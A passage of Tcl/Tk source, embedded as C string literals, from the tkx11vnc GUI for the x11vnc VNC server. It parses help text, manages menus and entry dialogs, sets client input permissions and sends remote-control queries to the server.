-" if {[regexp {^no} $name]} {\n"
-" regsub {^no} $name \"\" pair\n"
-" } else {\n"
-" set pair \"no$name\"\n"
-" }\n"
-" if {[info exists helptext($name)]} {\n"
-" if ![info exists helptext($pair)] {\n"
-" set helptext($pair) $helptext($name);\n"
-" }\n"
-" } elseif {[info exists helptext($pair)]} {\n"
-" if ![info exists helptext($name)] {\n"
-" set helptext($name) $helptext($pair);\n"
-" }\n"
-" }\n"
-" }\n"
-"\n"
-" set_internal_help\n"
-"}\n"
-"\n"
-"proc tweak_both {new old} {\n"
-" tweak_help $new $old\n"
-" tweak_remote_help $new $old\n"
-"}\n"
-"\n"
-"proc tweak_remote_help {new old} {\n"
-" global helpremote\n"
-" if ![info exists helpremote($new)] {\n"
-" if {[info exists helpremote($old)]} {\n"
-" set helpremote($new) $helpremote($old)\n"
-" }\n"
-" }\n"
-"}\n"
-"\n"
-"proc tweak_help {new old} {\n"
-" global helptext\n"
-" if ![info exists helptext($new)] {\n"
-" if {[info exists helptext($old)]} {\n"
-" set helptext($new) $helptext($old)\n"
-" }\n"
-" }\n"
-"}\n"
-"\n"
-"proc parse_remote_help {} {\n"
-" global helpremote helptext help_indent remote_name;\n"
-"\n"
-" set sawopts 0;\n"
-" set curropt \"\";\n"
-" set possopts \"\";\n"
-" set offset [expr $help_indent - 1];\n"
-" foreach line [split $helptext(remote) \"\\n\"] {\n"
-" \n"
-" set line [string range $line $offset end];\n"
-"\n"
-" # XXX\n"
-" if {[regexp {^The following -remote/-R commands} $line]} {\n"
-" set sawopts 1;\n"
-" continue;\n"
-" }\n"
-" # XXX\n"
-" if {[regexp {^The vncconnect.*command} $line]} {\n"
-" set sawopts 0;\n"
-" }\n"
-"\n"
-" if {! $sawopts} {\n"
-" continue;\n"
-" }\n"
-" if {[regexp {^([0-9A-z_][0-9A-z_:]*)} $line match name]} {\n"
-" regsub {:.*$} $name \"\" popt\n"
-" lappend possopts $popt\n"
-" if {\"$curropt\" != \"no$name\" && \"no$curropt\" != \"$name\"} {\n"
-" set curropt $name;\n"
-" regsub {:.*$} $curropt \"\" curropt\n"
-" set remote_name($curropt) $name\n"
-" set helpremote($curropt) \"$line\\n\";\n"
-" } else {\n"
-" append helpremote($curropt) \"$line\\n\";\n"
-" }\n"
-" } elseif {$curropt != \"\"} {\n"
-" append helpremote($curropt) \"$line\\n\";\n"
-" }\n"
-" }\n"
-"\n"
-" foreach popt $possopts {\n"
-" if {[info exists helpremote($popt)]} {\n"
-" continue\n"
-" }\n"
-" if {[regexp {^no} $popt]} {\n"
-" regsub {^no} $popt \"\" try\n"
-" } else {\n"
-" set try \"no$popt\"\n"
-" }\n"
-" if {[info exists helpremote($try)]} {\n"
-" set helpremote($popt) $helpremote($try)\n"
-" }\n"
-" }\n"
-"}\n"
-"\n"
-"proc parse_query_help {} {\n"
-" global query_ans query_aro query_ans_list query_aro_list helptext;\n"
-"\n"
-" set sawans 0;\n"
-" set sawaro 0;\n"
-" set ans_str \"\"\n"
-" set aro_str \"\"\n"
-"\n"
-" foreach line [split $helptext(query) \"\\n\"] {\n"
-"\n"
-" if {! $sawans && [regexp {^ *ans=} $line]} {\n"
-" set sawans 1\n"
-" }\n"
-" if {! $sawans} {\n"
-" continue\n"
-" }\n"
-"\n"
-" if {[regexp {^ *aro=} $line]} {\n"
-" set sawaro 1\n"
-" }\n"
-" if {$sawaro && [regexp {^[ ]*$} $line]} {\n"
-" set sawans 0\n"
-" break\n"
-" }\n"
-"\n"
-" regsub {ans=} $line \"\" line\n"
-" regsub {aro=} $line \"\" line\n"
-" set line [string trim $line]\n"
-"\n"
-" if {$sawaro} {\n"
-" set aro_str \"$aro_str $line\"\n"
-" } else {\n"
-" set ans_str \"$ans_str $line\"\n"
-" }\n"
-" }\n"
-"\n"
-" regsub -all { *} $ans_str \" \" ans_str\n"
-" regsub -all { *} $aro_str \" \" aro_str\n"
-"\n"
-" set ans_str [string trim $ans_str]\n"
-" set aro_str [string trim $aro_str]\n"
-" set query_ans_list [split $ans_str]\n"
-" set query_aro_list [split $aro_str]\n"
-"\n"
-" foreach item $query_ans_list {\n"
-" if {[regexp {^[ ]*$} $item]} {\n"
-" continue\n"
-" }\n"
-" set query_ans($item) 1\n"
-" }\n"
-" foreach item $query_aro_list {\n"
-" if {[regexp {^[ ]*$} $item]} {\n"
-" continue\n"
-" }\n"
-" set query_aro($item) 1\n"
-" }\n"
-"}\n"
-"\n"
-"proc in_debug_mode {} {\n"
-" global menu_var\n"
-" if {![info exists menu_var(debug_gui)]} {\n"
-" return 0\n"
-" }\n"
-" return $menu_var(debug_gui)\n"
-"}\n"
-"\n"
-"# Menubar utilities:\n"
-"proc menus_state {state} {\n"
-" global menu_b\n"
-"\n"
-" foreach case [array names menu_b] {\n"
-" set menu_button $menu_b($case)\n"
-" if {![winfo exists $menu_button]} {\n"
-" continue\n"
-" }\n"
-" $menu_button configure -state $state\n"
-" }\n"
-"}\n"
-"\n"
-"proc menus_enable {} {\n"
-" global menus_disabled\n"
-"\n"
-" menus_state \"normal\"\n"
-" set menus_disabled 0\n"
-"}\n"
-"\n"
-"proc menus_disable {} {\n"
-" global menus_disabled\n"
-"\n"
-" set menus_disabled 1\n"
-" menus_state \"disabled\"\n"
-"}\n"
-"\n"
-"# Entry box utilities:\n"
-"proc entry_state {x state} {\n"
-" global entry_box entry_label entry_ok entry_help entry_skip entry_browse\n"
-" global old_labels\n"
-" if {$x == \"all\"} {\n"
-" if {!$old_labels} {\n"
-" $entry_label configure -state $state\n"
-" }\n"
-" $entry_box configure -state $state\n"
-" $entry_ok configure -state $state\n"
-" $entry_skip configure -state $state\n"
-" $entry_help configure -state $state\n"
-" $entry_browse configure -state $state\n"
-" } elseif {$x == \"label\"} {\n"
-" if {!$old_labels} {\n"
-" $entry_label configure -state $state\n"
-" }\n"
-" } elseif {$x == \"box\"} {\n"
-" $entry_box configure -state $state\n"
-" } elseif {$x == \"ok\"} {\n"
-" $entry_ok configure -state $state\n"
-" } elseif {$x == \"skip\"} {\n"
-" $entry_skip configure -state $state\n"
-" } elseif {$x == \"help\"} {\n"
-" $entry_help configure -state $state\n"
-" } elseif {$x == \"browse\"} {\n"
-" $entry_browse configure -state $state\n"
-" }\n"
-"}\n"
-"\n"
-"proc entry_enable {{x \"all\"}} {\n"
-" entry_state $x normal\n"
-"}\n"
-"\n"
-"proc entry_disable {{x \"all\"}} {\n"
-" entry_state $x disabled\n"
-"}\n"
-"\n"
-"proc entry_browse_button {{show 1}} {\n"
-" global entry_browse\n"
-" if {$show} {\n"
-" pack $entry_browse -side left\n"
-" } else {\n"
-" pack forget $entry_browse\n"
-" }\n"
-"}\n"
-"proc entry_focus {} {\n"
-" global entry_box\n"
-" focus $entry_box\n"
-"}\n"
-"proc entry_select {} {\n"
-" global entry_box\n"
-" $entry_box selection range 0 end\n"
-"}\n"
-"proc entry_get {} {\n"
-" global entry_box\n"
-" return [$entry_box get]\n"
-"}\n"
-"proc entry_insert {str} {\n"
-" global entry_box\n"
-" entry_delete\n"
-" $entry_box insert end $str\n"
-" $entry_box icursor end\n"
-"}\n"
-"proc entry_delete {} {\n"
-" global entry_box\n"
-" $entry_box delete 0 end\n"
-"}\n"
-"\n"
-"\n"
-"# Utilities for remote control and updating vars.\n"
-"\n"
-"proc push_new_value {item name new {query 1}} {\n"
-" global menu_var always_update remote_output query_output\n"
-" global query_result_list\n"
-"\n"
-" set debug [in_debug_mode]\n"
-"\n"
-" set getout 0\n"
-" set print_getout 0;\n"
-"\n"
-" set do_query_all 0\n"
-"\n"
-" set newnew \"\"\n"
-" if {$item == \"disconnect\"} {\n"
-" set newnew \"N/A\"\n"
-" set do_query_all 1\n"
-" } elseif {$always_update} {\n"
-" set do_query_all 1\n"
-" }\n"
-"\n"
-" if {$item == \"remote-cmd\"} {\n"
-" # kludge for arbitrary remote command:\n"
-" if {[regexp {^Q:} $new]} {\n"
-" # extra kludge for Q:var to mean -Q var\n"
-" regsub {^Q:} $new \"\" new\n"
-" set qonly 1\n"
-" } else {\n"
-" set qonly 0\n"
-" }\n"
-" # need to extract item from new:\n"
-" set qtmp $new\n"
-" regsub {:.*$} $qtmp \"\" qtmp\n"
-" if {$qonly} {\n"
-" set rargs [list \"-Q\" \"$qtmp\"]\n"
-" set print_getout 1\n"
-" set qargs \"\"\n"
-" } else {\n"
-" set rargs [list \"-R\" \"$new\"]\n"
-" set qargs \"\"\n"
-" }\n"
-" set getout 1\n"
-"\n"
-" } elseif {[value_is_string $item]} {\n"
-" # string var:\n"
-" set rargs [list \"-R\" \"$name:$new\"]\n"
-" set qargs [list \"-Q\" \"$name\"]\n"
-" } else {\n"
-" # boolean var:\n"
-" set rargs [list \"-R\" \"$name\"]\n"
-" set qargs [list \"-Q\" \"$name\"]\n"
-" }\n"
-"\n"
-" if {! $query && ! $always_update} {\n"
-" set getout 1\n"
-" } elseif {$item == \"noremote\"} {\n"
-" set getout 1\n"
-" } elseif {[is_action $item] && ![opt_match Q $item] && $rargs != \"\"} {\n"
-" set getout 1\n"
-" } elseif {[regexp {^(sid|id)$} $item] && ![regexp {^0x} $new]} {\n"
-" set getout 1\n"
-" }\n"
-"\n"
-" set remote_output \"\"\n"
-" set query_output \"\"\n"
-"\n"
-" if {!$debug} {\n"
-" if [regexp {passwd} $rargs] {\n"
-" append_text \"x11vnc ...\"\n"
-" } else {\n"
-" append_text \"x11vnc $rargs ...\"\n"
-" }\n"
-" }\n"
-"\n"
-" if {$getout} {\n"
-" set remote_output [run_remote_cmd $rargs]\n"
-" if {$print_getout} {\n"
-" append_text \"\\t$remote_output\"\n"
-" }\n"
-" append_text \"\\n\"\n"
-" return\n"
-" }\n"
-"\n"
-" if {$do_query_all} {\n"
-" set all [all_query_vars]\n"
-" set qargs [list \"-Q\" $all]\n"
-"\n"
-" global last_query_all_time\n"
-" set last_query_all_time [clock seconds]\n"
-" }\n"
-"\n"
-" set rqargs [concat $rargs $qargs]\n"
-"\n"
-" set query [run_remote_cmd $rqargs]\n"
-" set query_output $query\n"
-"\n"
-" set query_result_list \"\"\n"
-"\n"
-" if {$newnew != \"\"} {\n"
-" set new $newnew\n"
-" }\n"
-"\n"
-" if {![see_if_ok $query $item \"$name:$new\"]} {\n"
-" # failed\n"
-" if {[regexp {^a..=} $query]} {\n"
-" # but some result came back\n"
-" # synchronize everything with a 2nd call.\n"
-" set query_output [query_all 1]\n"
-" } else {\n"
-" # server may be dead\n"
-" if {$item != \"ping\" && $item != \"attach\"} {\n"
-" try_connect\n"
-" }\n"
-" }\n"
-" } else {\n"
-" # succeeded\n"
-" # synchronize this variable (or variables)\n"
-" # for a speedup used the list parsed by see_if_ok.\n"
-" update_menu_vars \"USE_LIST\"\n"
-"\n"
-" if {$do_query_all} {\n"
-" global all_settings\n"
-" set all_settings $query\n"
-" }\n"
-" }\n"
-"}\n"
-"\n"
-"proc set_kmbc_str {} {\n"
-" global vl_bk vl_bm vl_bb vl_bc vl_bf vr_bk vr_bm vr_bb vr_bc vr_bf\n"
-"\n"
-" set str \"\"\n"
-" if {$vl_bk} {\n"
-" append str \"K\"\n"
-" }\n"
-" if {$vl_bm} {\n"
-" append str \"M\"\n"
-" }\n"
-" if {$vl_bb} {\n"
-" append str \"B\"\n"
-" }\n"
-" if {$vl_bc} {\n"
-" append str \"C\"\n"
-" }\n"
-" if {$vl_bf} {\n"
-" append str \"F\"\n"
-" }\n"
-" if {$vr_bk || $vr_bm || $vr_bb || $vr_bc || $vr_bf} {\n"
-" append str \",\"\n"
-" }\n"
-" if {$vr_bk} {\n"
-" append str \"K\"\n"
-" }\n"
-" if {$vr_bm} {\n"
-" append str \"M\"\n"
-" }\n"
-" if {$vr_bb} {\n"
-" append str \"B\"\n"
-" }\n"
-" if {$vr_bc} {\n"
-" append str \"C\"\n"
-" }\n"
-" if {$vr_bf} {\n"
-" append str \"F\"\n"
-" }\n"
-" entry_insert $str\n"
-"}\n"
-"\n"
-"proc insert_input_window {} {\n"
-" global text_area cleanup_window\n"
-" global ffont menu_var\n"
-" global vl_bk vl_bm vl_bb vl_bc vl_bf vr_bk vr_bm vr_bb vr_bc vr_bf\n"
-"\n"
-" append_text \"\\nUse these checkboxes to set the input permissions, \"\n"
-" append_text \"or type in the \\\"KMBCF...\\\"\\n\"\n"
-" append_text \"-input string manually. Then press \\\"OK\\\" or \\\"Cancel\\\".\\n\"\n"
-" append_text \"(note: an empty setting means use the default behavior, \"\n"
-" append_text \"see viewonly)\\n\\n\"\n"
-" set w \"$text_area.wk_f\"\n"
-" catch {destroy $w}\n"
-" frame $w -bd 1 -relief ridge -cursor {top_left_arrow}\n"
-" set fl $w.fl\n"
-" frame $fl\n"
-" set fr $w.fr\n"
-" frame $fr\n"
-" label $fl.l -font $ffont -text \"Normal clients: \"\n"
-" checkbutton $fl.bk -pady 1 -font $ffont -anchor w -variable vl_bk \\\n"
-" -pady 1 -command set_kmbc_str -text \"Keystrokes\" \n"
-" checkbutton $fl.bm -font $ffont -anchor w -variable vl_bm \\\n"
-" -pady 1 -command set_kmbc_str -text \"Mouse-Motion\" \n"
-" checkbutton $fl.bb -font $ffont -anchor w -variable vl_bb \\\n"
-" -pady 1 -command set_kmbc_str -text \"Button-Click\"\n"
-" checkbutton $fl.bc -font $ffont -anchor w -variable vl_bc \\\n"
-" -pady 1 -command set_kmbc_str -text \"Clipboard-Input\"\n"
-" checkbutton $fl.bf -font $ffont -anchor w -variable vl_bf \\\n"
-" -pady 1 -command set_kmbc_str -text \"Files\"\n"
-" label $fr.l -pady 1 -font $ffont -text \"View-Only clients:\"\n"
-" checkbutton $fr.bk -font $ffont -anchor w -variable vr_bk \\\n"
-" -pady 1 -command set_kmbc_str -text \"Keystrokes\" \n"
-" checkbutton $fr.bm -font $ffont -anchor w -variable vr_bm \\\n"
-" -pady 1 -command set_kmbc_str -text \"Mouse-Motion\" \n"
-" checkbutton $fr.bb -font $ffont -anchor w -variable vr_bb \\\n"
-" -pady 1 -command set_kmbc_str -text \"Button-Click\"\n"
-" checkbutton $fr.bc -font $ffont -anchor w -variable vr_bc \\\n"
-" -pady 1 -command set_kmbc_str -text \"Clipboard-Input\"\n"
-" checkbutton $fr.bf -font $ffont -anchor w -variable vr_bf \\\n"
-" -pady 1 -command set_kmbc_str -text \"Files\"\n"
-"\n"
-" if {[info exists menu_var(input)]} {\n"
-" set input_str $menu_var(input)\n"
-" } else {\n"
-" set input_str \"\"\n"
-" }\n"
-"\n"
-" if {[regexp {(.*),(.*)} $input_str match normal viewonly]} {\n"
-" ;\n"
-" } else {\n"
-" set normal $input_str\n"
-" set viewonly \"\"\n"
-" }\n"
-" set vl_bk 0\n"
-" set vl_bm 0\n"
-" set vl_bb 0\n"
-" set vl_bc 0\n"
-" set vl_bf 0\n"
-"\n"
-" set vr_bk 0\n"
-" set vr_bm 0\n"
-" set vr_bb 0\n"
-" set vr_bc 0\n"
-" set vr_bf 0\n"
-"\n"
-" if {[regexp -nocase {K} $normal]} {\n"
-" set vl_bk 1\n"
-" }\n"
-" if {[regexp -nocase {M} $normal]} {\n"
-" set vl_bm 1\n"
-" }\n"
-" if {[regexp -nocase {B} $normal]} {\n"
-" set vl_bb 1\n"
-" }\n"
-" if {[regexp -nocase {C} $normal]} {\n"
-" set vl_bc 1\n"
-" }\n"
-" if {[regexp -nocase {F} $normal]} {\n"
-" set vl_bf 1\n"
-" }\n"
-" if {[regexp -nocase {K} $viewonly]} {\n"
-" set vr_bk 1\n"
-" }\n"
-" if {[regexp -nocase {M} $viewonly]} {\n"
-" set vr_bm 1\n"
-" }\n"
-" if {[regexp -nocase {B} $viewonly]} {\n"
-" set vr_bb 1\n"
-" }\n"
-" if {[regexp -nocase {C} $viewonly]} {\n"
-" set vr_bc 1\n"
-" }\n"
-" if {[regexp -nocase {F} $viewonly]} {\n"
-" set vr_bf 1\n"
-" }\n"
-"\n"
-" pack $fl.l $fl.bk $fl.bm $fl.bb $fl.bc $fl.bf -side top -fill x\n"
-" pack $fr.l $fr.bk $fr.bm $fr.bb $fr.bc $fr.bf -side top -fill x\n"
-" pack $fl $fr -side left\n"
-" update\n"
-" update idletasks\n"
-" $text_area window create end -window $w\n"
-" $text_area see end\n"
-" $text_area insert end \"\\n\"\n"
-"# $text_area insert end \"\\n\\n\\n\\n\\n\\n\\n\\n\\n\"\n"
-"\n"
-" set cleanup_window $w\n"
-"}\n"
-"\n"
-"proc set_ca_str {w} {\n"
-" global ca_bk ca_bm ca_bb ca_bc ca_bf ca_di\n"
-"\n"
-" if {$ca_di} {\n"
-" entry_insert \"disconnect\"\n"
-" $w.bk configure -state disabled\n"
-" $w.bm configure -state disabled\n"
-" $w.bb configure -state disabled\n"
-" $w.bc configure -state disabled\n"
-" $w.bf configure -state disabled\n"
-" return\n"
-" }\n"
-"\n"
-" $w.bk configure -state normal\n"
-" $w.bm configure -state normal\n"
-" $w.bb configure -state normal\n"
-" $w.bc configure -state normal\n"
-" $w.bf configure -state normal\n"
-"\n"
-" set str \"\"\n"
-" if {$ca_bk} {\n"
-" append str \"K\"\n"
-" }\n"
-" if {$ca_bm} {\n"
-" append str \"M\"\n"
-" }\n"
-" if {$ca_bb} {\n"
-" append str \"B\"\n"
-" }\n"
-" if {$ca_bc} {\n"
-" append str \"C\"\n"
-" }\n"
-" if {$ca_bf} {\n"
-" append str \"F\"\n"
-" }\n"
-" entry_insert $str\n"
-"}\n"
-"\n"
-"proc insert_client_action_window {input} {\n"
-" global text_area cleanup_window\n"
-" global ffont menu_var\n"
-" global ca_bk ca_bm ca_bb ca_bc ca_bf ca_di\n"
-"\n"
-" append_text \"\\nUse these checkboxes to set the input permissions \"\n"
-" append_text \"for this client\\n-OR- whether to disconnect it instead. \"\n"
-" append_text \"Then press \\\"OK\\\" or \\\"Cancel\\\".\\n\\n\"\n"
-" set w \"$text_area.ca_f\"\n"
-" catch {destroy $w}\n"
-" frame $w -bd 1 -relief ridge -cursor {top_left_arrow}\n"
-" checkbutton $w.di -pady 1 -font $ffont -anchor w -variable ca_di \\\n"
-" -pady 1 -command \"set_ca_str $w\" -text \"Disconnect \" \n"
-" checkbutton $w.bk -font $ffont -anchor w -variable ca_bk \\\n"
-" -pady 1 -command \"set_ca_str $w\" -text \"Keystrokes\" \n"
-" checkbutton $w.bm -font $ffont -anchor w -variable ca_bm \\\n"
-" -pady 1 -command \"set_ca_str $w\" -text \"Mouse-Motion\" \n"
-" checkbutton $w.bb -font $ffont -anchor w -variable ca_bb \\\n"
-" -pady 1 -command \"set_ca_str $w\" -text \"Button-Click\"\n"
-" checkbutton $w.bc -font $ffont -anchor w -variable ca_bc \\\n"
-" -pady 1 -command \"set_ca_str $w\" -text \"Clipboard\"\n"
-" checkbutton $w.bf -font $ffont -anchor w -variable ca_bf \\\n"
-" -pady 1 -command \"set_ca_str $w\" -text \"Files\"\n"
-"\n"
-" set ca_di 0\n"
-" set ca_bk 0\n"
-" set ca_bm 0\n"
-" set ca_bb 0\n"
-" set ca_bf 0\n"
-" set ca_bc 0\n"
-"\n"
-" if {[regexp -nocase {K} $input]} {\n"
-" set ca_bk 1\n"
-" }\n"
-" if {[regexp -nocase {M} $input]} {\n"
-" set ca_bm 1\n"
-" }\n"
-" if {[regexp -nocase {B} $input]} {\n"
-" set ca_bb 1\n"
-" }\n"
-" if {[regexp -nocase {C} $input]} {\n"
-" set ca_bc 1\n"
-" }\n"
-" if {[regexp -nocase {F} $input]} {\n"
-" set ca_bf 1\n"
-" }\n"
-"\n"
-" pack $w.di $w.bk $w.bm $w.bb $w.bc $w.bf -side left\n"
-" update\n"
-" update idletasks\n"
-" $text_area window create end -window $w\n"
-" $text_area see end\n"
-" $text_area insert end \"\\n\"\n"
-"\n"
-" set cleanup_window $w\n"
-"}\n"
-"\n"
-"proc cleanup_text_window {} {\n"
-" global cleanup_window\n"
-" if {[info exists cleanup_window]} {\n"
-" catch {destroy $cleanup_window}\n"
-" }\n"
-"}\n"
-"\n"
-"# For updating a string variable. Also used for simple OK/Cancel dialogs\n"
-"# with entry = 0.\n"
-"proc entry_dialog {item {entry 1}} {\n"
-" global menu_var entry_str entry_set entry_dialog_item\n"
-" global unset_str connected_to_x11vnc entry_box\n"
-"\n"
-" set entry_str \"Set $item\"\n"
-" set entry_set 0\n"
-" set entry_dialog_item $item\n"
-"\n"
-" entry_enable\n"
-" menus_disable\n"
-"\n"
-" if {$item == \"passwd\" || $item == \"viewpasswd\"} {\n"
-" $entry_box configure -show \"*\"\n"
-" }\n"
-"\n"
-" if {$entry} {\n"
-" entry_insert \"\"\n"
-" if {[info exists menu_var($item)] &&\n"
-" $menu_var($item) != $unset_str} {\n"
-" entry_insert $menu_var($item)\n"
-" entry_select\n"
-" }\n"
-"\n"
-" if {[is_browse $item]} {\n"
-" entry_browse_button\n"
-" }\n"
-" set_info \"Set parameter in entry box, \"\n"
-" entry_focus\n"
-" } else {\n"
-" entry_disable box\n"
-" }\n"
-"\n"
-" set clean_text_window 0;\n"
-"\n"
-" if {$item == \"input\"} {\n"
-" insert_input_window\n"
-" set clean_text_window 1\n"
-" }\n"
-"\n"
-" update\n"
-"\n"
-" # wait for user reply:\n"
-" vwait entry_set\n"
-"\n"
-" set rc $entry_set\n"
-" set entry_set 0\n"
-"\n"
-" set value [entry_get]\n"
-" update\n"
-"\n"
-" entry_browse_button 0\n"
-" set entry_str \"Set... :\"\n"
-"\n"
-" entry_delete\n"
-" entry_disable\n"
-" menus_enable\n"
-"\n"
-" if {$clean_text_window} {\n"
-" cleanup_text_window;\n"
-" }\n"
-"\n"
-" update\n"
-"\n"
-" if {! $entry} {\n"
-" ;\n"
-" } elseif {$rc} {\n"
-" set menu_var($item) $value\n"
-" } else {\n"
-" if {[in_debug_mode]} {\n"
-" append_text \"skipped setting $item\\n\"\n"
-" }\n"
-" }\n"
-"\n"
-" $entry_box configure -show \"\"\n"
-"\n"
-" return $rc\n"
-"}\n"
-"\n"
-"proc warning_dialog {msg {item \"gui\"} } {\n"
-" append_text $msg\n"
-" # just reuse the entry widgets for a yes/no dialog\n"
-" return [entry_dialog $item 0]\n"
-"}\n"
-"\n"
-"# For updating a boolean toggle:\n"
-"proc check_var {item} {\n"
-" global menu_var\n"
-"\n"
-" set inval $menu_var($item);\n"
-"\n"
-" if {$item == \"debug_gui\"} {\n"
-" return \"\";\n"
-" }\n"
-"\n"
-" set rname $item\n"
-" if {! $inval} {\n"
-" if {[regexp {^no} $item]} {\n"
-" regsub {^no} $rname \"\" rname\n"
-" } else {\n"
-" set rname \"no$rname\"\n"
-" }\n"
-" }\n"
-" return $rname\n"
-"}\n"
-"\n"
-"proc see_if_ok {query item expected} {\n"
-" global query_result_list\n"
-"\n"
-" set ok 0\n"
-" set found \"\"\n"
-"\n"
-" set query_result_list [split_query $query]\n"
-"\n"
-" foreach q $query_result_list {\n"
-" # XXX following will crash if $item is not a good regexp\n"
-" # need to protect it \\Q$item\\E style...\n"
-"# if {[regexp \"^$item:\" $q]} {\n"
-"# set found $q\n"
-"# }\n"
-" if {[string first \"$item:\" $q] == 0} {\n"
-" set found $q\n"
-" }\n"
-" if {$q == $expected} {\n"
-" set ok 1\n"
-" if {$found != \"\"} {\n"
-" break;\n"
-" }\n"
-" }\n"
-" }\n"
-" if {$found == \"\"} {\n"
-" set msg $query\n"
-" regsub {^a..=} $msg {} msg\n"
-" if {[string length $msg] > 60} {\n"
-" set msg [string range $msg 0 60]\n"
-" }\n"
-" } else {\n"
-" set msg $found\n"
-" }\n"
-" if {!$ok && $found != \"\"} {\n"
-" # check for floating point match:\n"
-" set v1 \"\"\n"
-" set v2 \"\"\n"
-" regexp {:([0-9.][0-9.]*)$} $found m0 v1\n"
-" regexp {:([0-9.][0-9.]*)$} $expected m0 v2\n"
-" if {$v1 != \"\" && $v2 != \"\"} {\n"
-" set diff \"\"\n"
-" catch {set diff [expr \"$v1 - $v2\"]}\n"
-" if {$diff != \"\"} {\n"
-" if {$diff < 0} {\n"
-" set diff [expr \"0.0 - $diff\"]\n"
-" }\n"
-" if {$diff < 0.00001} {\n"
-" set ok 1\n"
-" }\n"
-" }\n"
-" }\n"
-" }\n"
-" if {$ok} {\n"
-" append_text \"\\tSet OK ($msg)\\n\"\n"
-" return 1\n"
-"\n"
-" } elseif {[opt_match P $item] && [regexp {:(-|\\+)} $expected]} {\n"
-" # e.g. blackout:+30x30+20+20\n"
-" append_text \"\\t($msg)\\n\"\n"
-" return 1\n"
-" } elseif {[regexp {:[0-9]\\.[0-9]} $expected]} {\n"
-" append_text \"\\t($msg)\\n\"\n"
-" return 1\n"
-" } elseif {$item == \"connect\" || $item == \"disconnect\"\n"
-" || $item == \"client\" || $item == \"client_input\"} {\n"
-" append_text \"\\t($msg)\\n\"\n"
-" return 1\n"
-" } elseif {$item == \"passwd\" || $item == \"viewpasswd\"} {\n"
-" append_text \"\\t($msg)\\n\"\n"
-" return 1\n"
-" } else {\n"
-" append_text \"\\t*FAILED* $msg\\n\"\n"
-" return 0\n"
-" }\n"
-"}\n"
-"\n"
-"proc get_default_vars {} {\n"
-" global default_var env\n"
-"\n"
-" set qry [all_query_vars]\n"
-"\n"
-" append qry \",vncconnect\"\n"
-"\n"
-" set q \"\"\n"
-" set i 0\n"
-" set all \"\"\n"
-" foreach s [split $qry \",\"] {\n"
-" if {$q != \"\"} {\n"
-" append q \",\"\n"
-" }\n"
-" append q $s\n"
-" incr i\n"
-" if {$i > 50} {\n"
-" set qargs [list \"-QD\" $q]\n"
-" set a [run_remote_cmd $qargs]\n"
-" if [info exists env(TKX11VNC_PRINT_ALL_QD)] {\n"
-" puts $q\n"
-" puts $a\n"
-" puts \"---------------\"\n"
-" }\n"
-" if {$all != \"\"} {\n"
-" append all \",\"\n"
-" }\n"
-" append all $a\n"
-" set q \"\"\n"
-" set i 0\n"
-" }\n"
-" }\n"
-" if {$q != \"\"} {\n"
-" set qargs [list \"-QD\" $q]\n"
-" set a [run_remote_cmd $qargs]\n"
-" if [info exists env(TKX11VNC_PRINT_ALL_QD)] {\n"
-" puts $q\n"
-" puts $a\n"
-" puts \"---------------\"\n"
-" }\n"
-" if {$all != \"\"} {\n"
-" append all \",\"\n"
-" }\n"
-" append all $a\n"
-" }\n"
-"\n"
-"# old way, qry too long...\n"
-"# set qargs [list \"-QD\" $qry]\n"
-"# set all [run_remote_cmd $qargs]\n"
-"\n"
-" if {[regexp {ans=} $all]} {\n"
-" #append_text \"Retrieved all default settings.\\n\"\n"
-" } else {\n"
-" #append_text \"Failed to retrieve default settings.\\n\"\n"
-" }\n"
-"\n"
-" set query_result_list [split_query $all]\n"
-"\n"
-" set default_var(gui) \"\"\n"
-"\n"
-" foreach piece $query_result_list {\n"
-" if {[regexp {^([^:][^:]*):(.*)$} $piece m0 item val]} {\n"
-" if {$val == \"N/A\"} {\n"
-" if {$item == \"vncconnect\"} {\n"
-" set val 1\n"
-" } else {\n"
-" set val \"\"\n"
-" }\n"
-" }\n"
-" if {$item == \"display\"} {\n"
-" set val \"\"\n"
-" } elseif {$item == \"desktop\"} {\n"
-" set val \"\"\n"
-" } elseif {$item == \"auth\"} {\n"
-" set val \"\"\n"
-" } elseif {$item == \"gui\"} {\n"
-" continue\n"
-" } \n"
-" # some hacks we do here for now..\n"
-" if {$item == \"cursor\" && $val == \"\"} {\n"
-" set val \"most\"\n"
-" } elseif {$item == \"scrollcopyrect\" && $val == \"\"} {\n"
-" set val \"always\"\n"
-" } elseif {$item == \"wirecopyrect\" && $val == \"\"} {\n"
-" set val \"always\"\n"
-"# } elseif {$item == \"overlay_nocursor\" && $val == 0} {\n"
-"# set val 1\n"
-" }\n"
-"\n"
-" set default_var($item) $val\n"
-"#puts \"default: $item -> $val\"\n"
-" }\n"
-" }\n"
-"}\n"
-"\n"
-"proc tilde_expand {file} {\n"
-" global env\n"
-" if {[file exists $file]} {\n"
-" return $file\n"
-" }\n"
-"\n"
-" set user \"\"\n"
-" if {[info exists env(USER)]} {\n"
-" set user $env(USER)\n"
-" }\n"
-" if {$user == \"\" && [info exists env(LOGNAME)]} {\n"
-" set user $env(LOGNAME)\n"
-" }\n"
-"\n"
-" set home \"\"\n"
-" if {[info exists env(HOME)]} {\n"
-" set home $env(HOME)\n"
-" } elseif {$user != \"\"} {\n"
-" set home \"/home/$user\"\n"
-" }\n"
-"\n"
-" if {[regexp {^~} $file]} {\n"
-" if {[regexp {^~/} $file]} {\n"
-" if {$home != \"\"} {\n"
-" regsub {^~} $file $home file\n"
-" }\n"
-" } else {\n"
-" regsub {^~} $file \"/home/\" file\n"
-" }\n"
-" }\n"
-" return $file\n"
-"}\n"
-"\n"
-"proc insert_cmdline_vars {} {\n"
-" global env cmd_var menu_var default_var x11vnc_cmdline\n"
-" if {![info exists x11vnc_cmdline]} {\n"
-" return\n"
-" }\n"
-" if {$x11vnc_cmdline == \"\"} {\n"
-" return\n"
-" }\n"
-" set cmd_var(novar) 1 \n"
-" set str [string trim $x11vnc_cmdline]\n"
-"\n"
-" while {[regexp -- {^-} $str]} {\n"
-" if {[regexp -- {^--*([^ \\t][^ \\t]*)(.*)$} $str m var rest]} {\n"
-" set rest [string trim $rest]\n"
-" set var [string trim $var]\n"
-" if {[regexp {^\\{\\{([^\\}]*)\\}\\}(.*)} $rest m val rest]} {\n"
-" set str [string trim $rest]\n"
-" set cmd_var($var) $val\n"
-" } else {\n"
-" set str $rest\n"
-" set cmd_var($var) \"boolean\"\n"
-" }\n"
-" } else {\n"
-" break\n"
-" }\n"
-" }\n"
-"\n"
-" if {[info exists cmd_var(rc)]} {\n"
-" load_settings $cmd_var(rc)\n"
-" } elseif {[info exists cmd_var(norc)]} {\n"
-" ;\n"
-" } else {\n"
